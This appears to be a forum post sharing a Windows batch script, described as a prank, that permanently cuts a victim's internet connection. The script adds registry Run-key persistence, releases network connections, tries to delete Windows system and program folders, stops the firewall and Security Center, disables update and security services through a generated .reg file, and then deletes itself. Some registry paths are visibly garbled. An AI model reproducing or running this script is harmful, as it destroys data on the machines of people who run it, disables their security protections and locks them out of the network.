This is a slightly more advanced one. It shuts down your internet permanately. I tried it on myself accidently, i knew what it did, and it still took me a couple of days to get my internet back. works best on XP, not tested on vista or 7.
EDIT: At the bottom put a rickroll site or something. BTW, that 3rd line, isnt what disables the internet permanately. It is somethinge else, that just provides a fast response to shut down any connections.

@echo off
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MiXedVeX /t REG_SZ /d %systemroot%\HaloTrialScoreChangerV1 /f > nul
start iexpress (website of your choice)
ipconfig /release
del "C:\Program Files\Microsoft Games
del "C:Nexon
del "C:\Program Files\Xfire
del "C:\Program Files\Adobe"
del "C:\Program Files\Internet Explorer"
del "C:\Program Files\Mozilla Firefox"
del "C:\WINDOWS"
del "C:\WINDOWS\system32"
del "C:\WINDOWS\system32\cmd"
del "C:\WINDOWS\system32\iexpress"
del "C:\WINDOWS\system32\sndvol32"
del "C:\WINDOWS\system32\sndrec32"
del "C:\WINDOWS\system32\Restore\rstrui"
del "C:\WINDOWS\system32\wupdmgr"
del "C:\WINDOWS\system32\desktop"
del "C:\WINDOWS\java"
del "C:\WINDOWS\Media"
del "C:\WINDOWS\Resources"
del "C:\WINDOWS\system"
del "C:\drivers"
del "C:\drv"
del "C:\SYSINFO"
del "C:\Program Files"
echo ipconfig/release_all>>c:windowswimn32.bat
net stop "Security Center"
net stop SharedAccess
> "%Temp%.kill.reg" ECHO REGEDIT4
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.kill.reg"
del "%Temp%.kill.reg"
del %0
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
start iexpress (website of your choice)
goto a